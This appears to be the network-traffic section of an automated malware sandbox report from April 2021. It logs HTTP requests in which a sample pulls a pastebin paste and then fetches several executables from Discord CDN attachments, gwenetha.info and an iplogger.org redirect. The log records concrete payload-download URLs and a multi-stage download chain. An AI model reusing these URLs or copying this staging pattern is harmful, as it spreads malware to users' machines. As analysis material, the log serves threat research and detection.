Network Analysis

GET /raw/gCyjHCCH HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 07:43:52 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d36ceae9782e780b49ee49899c7eef77e1617695032; expires=Thu, 06-May-21 07:43:52 GMT; path=/; domain=.pastebin.com; HttpOnly; SameSite=Lax; Secure x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 2 cf-request-id: 0947bc5d2d0000353816086000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 63b96341eedf3538-ICN

GET /attachments/826198252025675816/826538114838298715/install_setupVPSfree.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Tue, 06 Apr 2021 07:43:54 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=da248518da862684bee0b038081dfe2db1617695034; expires=Thu, 06-May-21 07:43:54 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b9634caccf3532-ICN Age: 3 Cache-Control: private, max-age=0 Expires: Tue, 06 Apr 2021 07:43:51 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0947bc63e50000353266250000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UzuaZEL7MMmVIMbSn1rYxZGvMnx-2WZvgZxXYP8NMW1H5xjzLNlWFsTyjIfBnMGQ3V1TZfxsKBsrmVH8PMffzkrDviEGg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=CioKI0Z25Z98OBEwbXh0IYb9fiULi%2BqDuJUVQUA3Uynv77rYJOlRcWvqgGklAwdO4944ntMbgTkObbGUkMoZUkTUhWBtKtdbeI8B4bknmPT%2Bouc%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826855866228670474/7525b875715555.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Tue, 06 Apr 2021 07:43:54 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d1a7161b5eda064b2554c6d00ef65f3e81617695034; expires=Thu, 06-May-21 07:43:54 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b9634d9a54a231-ICN Age: 1 Cache-Control: private, max-age=0 Expires: Tue, 06 Apr 2021 07:43:53 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0947bc647c0000a2315636f000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UxfZKtmWAunDtVgvLPAZLLWqE7IGHeclAXUtwAozPhlWr4oYWOIeMWWXu5lWiZ9AcU3GW0jl7qCJzTH14PFUupS1mQKEw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=oJH59QLO2GLIXRXWyk9iRKcw421dyKJ1CyvzRlbfQiM9amW5yRrZQ71JZ9ROGlrIZKqT2TcULrZMUUuut7UmOG4v5gCK7TmZwLu7GqlLyFjgEdY%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /setup-KGQJ-1.exe HTTP/1.1 Host: gwenetha.info Connection: Keep-Alive

GET /2LehR6.exe HTTP/1.1 Host: iplogger.org Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 06 Apr 2021 07:43:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=m35premr8rf40sivdbbcn50dh2; path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=261353152; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Tue, 06 Apr 2021 07:44:09 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=daa489c602aa15482da19067da7cc10eb1617695049; expires=Thu, 06-May-21 07:44:09 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b963a8ebbb12ca-ICN Age: 16 Cache-Control: private, max-age=0 Expires: Tue, 06 Apr 2021 07:43:53 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0947bc9d94000012ca2b2af000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UwikVHY7k3oPt8rdqPyAzfZvDF8aylMLsQ-j2ihMHCj379nHws0sxXYWufnIZXYzFSJxtPjSpOFPit2PO5oh34 X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=8cRmGRcz%2Fi5AXeB9bPmjDDQacfM8z6RJq1wRSiv0iSAdwu9sjv%2FbvkJUgk1uXITGJKh7Z0i63cTTv0I6u2Wugrh%2FSp%2BLJSzRtZOSS9wKD0xnZS0%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 07:44:09 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=daa489c602aa15482da19067da7cc10eb1617695049; expires=Thu, 06-May-21 07:44:09 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63b963a9de3f12ca-ICN Accept-Ranges: bytes Age: 550058 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Wed, 06 Apr 2022 07:44:09 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 0947bc9e24000012ca67bb2000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=6K%2BhlFVmz04SzF4C4941bIThw48unTCd3so3tiPeIa8fM1AduwdLtVZBuUTtColLY2Fh1EAVv%2Ftmh5f57pymEogzORg7%2FT%2B5tV8dE0jc7vujcco%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 07:44:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=da5c360693e52cfdc969fef4970e6314e1617695051; expires=Thu, 06-May-21 07:44:11 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 0947bca86f000012ca3f258000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=lflCSF%2FE73b%2BsSKR%2BUJLg4YhsTD9dbmcEMAdHKLp1%2FmTXmUgA7GySFzROhTu19%2B2%2FgJ07MyIw%2F2TJSrVuPp9zlWjWy%2FPb01yqZCmqwLNFLxSlsM%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63b963ba4fa812ca-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Tue, 06 Apr 2021 07:44:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d5561ed3981418276012caea514f961d11617695054; expires=Thu, 06-May-21 07:44:14 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 0947bcb34c0000e9fc6a09e000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=%2FCf3AR80NZCftKuoBXlhB6wEJxvK0hqXRY%2BbGOYFHMxgMqVSbQ2OrSCAPKWbbQYwhSc1ogcu8rquIbNA6iz8G3Ih1WSosq2FxdoLez3aNaV0%2F5U%3D"}],"group":"cf-nel"} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63b963cbad4fe9fc-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400